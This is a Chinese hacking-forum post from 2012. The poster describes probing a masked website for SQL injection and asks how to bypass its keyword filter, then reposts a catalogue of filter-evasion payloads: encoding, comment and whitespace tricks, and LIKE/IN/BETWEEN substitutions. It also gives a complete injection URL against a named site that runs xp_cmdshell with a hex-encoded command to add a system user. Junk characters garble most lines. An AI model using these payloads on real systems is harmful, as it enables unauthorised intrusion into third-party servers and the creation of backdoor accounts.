找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2341|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.# w% e& |( M2 D5 H+ E
http://www.xxx.cn/Article.asp?ID=117 and 1=1
9 ~- b$ L8 a! V2 z) |7 U6 O直接返回主页& r# E  ?/ K! y: ~- q5 Q
http://www.xxx.cn/Article.asp?ID=117 or 1=13 Q5 d6 A( ~4 l* c8 J8 W' k
直接返回主页
- y+ G  H( D  y( m2 ~, mhttp://www.xxx.cn/Article.asp?ID=117 or
' O* R5 H* s+ F8 ?没有返回主页 没有过滤or; _/ }6 ?4 ~6 m" ]( h' H
http://www.xxx.cn/Article.asp?ID=117 and% I% ]4 _1 q! w9 R1 b  X
直接返回主页 看来过滤了and6 m8 F2 ^+ U2 S1 V) i: r3 T
http://www.xxx.cn/Article.asp?ID=117 or 1' f- T) B( O! S1 N) C. D' C
没有返回主页 即没有过滤or 也没有过滤1& L9 w! D5 j* Q
http://www.xxx.cn/Article.asp?ID=117 or 1=1
" Q6 [) l! h- q- H直接返回主页 很明显过滤了等号 , A; n8 h5 n3 \2 \
or的特性是与and相反的.7 M$ U1 F6 }: y4 C7 ?$ @: f+ g
or 1=1 爆错 或与原页面不同% e' l; g: m9 c; |1 [# I/ q1 F
or 1=2 原页面相同
9 s9 ?2 s0 K0 b这样就是一个注入点+ c: z5 a$ K3 h+ z" _' j7 w5 w- D; ]
但他过滤了=号 我就用><号代替=号吧!, F3 s+ }  {# h( n
or 1<2 很明显是正确的,所以应该与原页面不同5 e+ a6 h! O6 V" k# p8 P8 j+ A* G% D
or 1>2 很明显是错误的,所以应该与原页面相同7 h3 u$ w% O( z* y  O7 e
然后看看有没有过滤其他的查询语句,比如select.9 p& `3 W- X! F: C( ]$ Q) _
http://www.xxx.cn/Article.asp?ID=117 select  i+ Q0 o. G' r. B+ {5 `2 n$ f
直接返回主页) `( t- p- v* W/ }+ B2 h' L
又迷茫了... b) S  u: Z# h1 j

. a. `0 e3 Q& y# x6 J. K0 r  B; V' Q: O+ g1 b3 K
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗- m5 f! c( s7 ~1 P" b
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)3 X9 F7 u3 v1 Z
================================================
- ^* V" q/ z( G以下是转贴:$ f5 `0 r* H2 K7 C

# O7 M' m# W: C7 N3 ]4 S& ~, K突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 3 a. w7 x; z* M6 ]% C/ t
经过我的收集,大部分的防注入程序都过滤了以下关键字: 7 {1 ^4 T3 e1 d; t. R
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
# @' h& @" P. c9 W" \- h而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 ! h7 i1 S7 Z: w! u, F: P
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
# b+ T8 ?7 O3 r1 m5 {% Q1、运用编码技术绕过
8 s8 z2 ~$ |8 u+ t如URLEncode编码,ASCII编码绕过。例如or 1=1即
8 F  M2 i! b) j  R2 f%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
1 C- [! \: H/ Q1 V8 ?. R( {" \" z1 g. V2 q. H4 m5 g; j
2、通过空格绕过
4 `3 G; p' a9 T- R  a$ g/ c如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
' C8 V1 g$ e7 h0 ?/ h( E) Z1 Q, wor’ swords’ =‘swords’ & a" m7 m, ^5 ^/ s: {
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 2 g$ E  q) O) M* z$ y
3、运用字符串判断代替 2 k5 W4 v( o8 A8 `1 L/ \
用经典的or 1=1判断绕过,如
$ u" @7 {: ^# J$ t% M& P8 D5 N: jor ’swords’ =’swords’ . }( h. N& e, U% B
,这个方法就是网上在讨论的。
0 Z6 B/ n3 R/ H* |- d4、通过类型转换修饰符N绕过 0 K5 l( E8 S! a0 z. g2 o
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 - M4 d4 S0 ]7 ^9 S4 g' o' X/ U2 p+ i
5、通过+号拆解字符串绕过
  d3 X2 ~! _* v效果值得考证,但毕竟是一种方法。如
: Y9 `8 \# i9 _; v! Aor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) : z, F# j4 G3 m

$ i  c) R7 s( o7 Q6、通过LIKE绕过 % T& S  T0 i+ G7 ^# [
以前怎么就没想到呢?如or ) a+ ?# t( O8 R; G: K9 m! v
’swords’ LIKE ’sw’ 3 a/ z* j3 z2 t4 V1 I# U1 l1 V
!!!显然可以很轻松的绕过 ; ^7 ^  D2 ]& Z( G# z7 Y
“=”“>”
# A1 M2 t8 E5 u9 u, _# v; a的限制…… ) f. u3 Z; C4 s7 z. p
7、通过IN绕过
/ F) [; d, K0 o与上面的LIKE的思路差不多,如 ! M. m0 U1 m4 G3 ~
or ’swords’ IN (’swords’) ; Q5 \" s9 ]$ |

0 G) e7 ]' s9 ?+ s/ z, ]8、通过BETWEEN绕过
; M9 D0 e; s/ Z; L! o' j: Q/ X5 O% i* S
or ’swords’ BETWEEN ’rw’ AND ’tw’ " D3 h/ C4 U$ x/ R

9 j/ \" I' I  f+ C* J+ w' C9、通过>或者<绕过
6 o; U% V& a, B- I" Qor ’swords’ > ’sw’ , i7 U0 s, U5 s: [
or ’swords’ < ’tw’
9 d4 B* i$ c: c& [5 Kor 1<3
5 S* X0 @! @* _% I……
$ ^7 c) f: S! ]  J/ i" D( Q/ T; a10、运用注释语句绕过
8 u* a/ \5 B7 p4 ]- }6 z: ]2 S用/**/代替空格,如:
1 g  f* J( [! N8 pUNION /**/ Select /**/user,pwd,from tbluser
1 P/ }1 k& v# ?4 Z4 e1 f
6 ^! R6 |0 A  k0 h+ L) y. s$ S用/**/分割敏感词,如: & W6 K, V) Y+ K
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
) K2 j5 Z  N0 J* a' Z2 v" f" M" U: O: D% {, L) j5 @1 |% v0 N3 H2 \
11、用HEX绕过,一般的IDS都无法检测出来 4 c; \, o! b1 H+ g1 A9 t
0x730079007300610064006D0069006E00 =hex(sysadmin)
& `5 ^4 e4 v4 R0x640062005F006F0077006E0065007200 =hex(db_owner) & c+ j4 w1 H& J% n% ~
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ' a. c& F# \- G/ ~& M) n
  declare @a sysname 1 J  @2 t" m0 o5 n
  select @a=
  y9 O$ }) `' q  M3 X  exec master.dbo.xp_cmdshell @a ! p3 t* y- [" s3 o6 e, ?% ^
效果 ) F: b" N  x3 Z; K) P  h. Q
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
8 h/ V/ u' R  _5 ^9 k5 {) {+ i# k: q' R- W) L0 K- Q
其中的
$ t- Q" R2 C. r( h4 M0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
( j9 \7 ]  Z' @3 m! g, h9 x! P就是   A7 s* z- b: H; {/ }! [
“net user angel pass /add”
7 i3 e, x0 w0 Y: I1 J7 G. ^2 K# V* @7 |$ s1 k) D. _
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。8 s  `. U3 J0 w( }& w: D
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。- C$ P' i6 F7 e$ J3 L# N: P% B. o: N# \4 g
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
( y, ~) u/ {9 ]" i: ECopy code- y. l7 J( A# [7 H
select * from table exec xp_cmdshell'xxxxxxxxxx'3 ]' {/ ~+ P6 }. e
/ B# \9 S" ^1 D' {9 r

1 p5 i8 A4 L* n7 O9 e: A! m( wselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'( D1 \0 x8 h( U8 ~; Q& Y) z

/ e9 m! P  b  }% a: ^* n! B2 y7 L5 r. J( _3 H/ b3 b- q* i% m
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'/ t+ Y1 x; z: u; Q6 \4 _

6 L1 s8 A: F5 \: C: ]3 u  q
* S8 v' \9 u4 O8 Xselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
) @% G- F0 a  g2 {" `4 _. W  V# H
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?0 Y) G( X- Q4 p+ B4 f
, J7 e( L2 I5 |7 b( I' h/ h, J, F
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了) `; L* A9 @& n- `
可能大家早就知道了,不管怎么说,发在这里吧!( c) I% L7 l# Z2 z) s/ Y

! Z* C) T0 c3 S! B) P( e& [; e' Z最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。" x; w" @, O3 Z: b9 L8 k
' J- c4 D0 v- }( d. \

% O: {+ W8 P; j
0 E$ t% U2 T5 o' V1 @对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
- r" M( i$ a2 \% l比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? / r3 @4 I0 u: ?8 ~2 N
8 N; i0 [$ V' D  [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表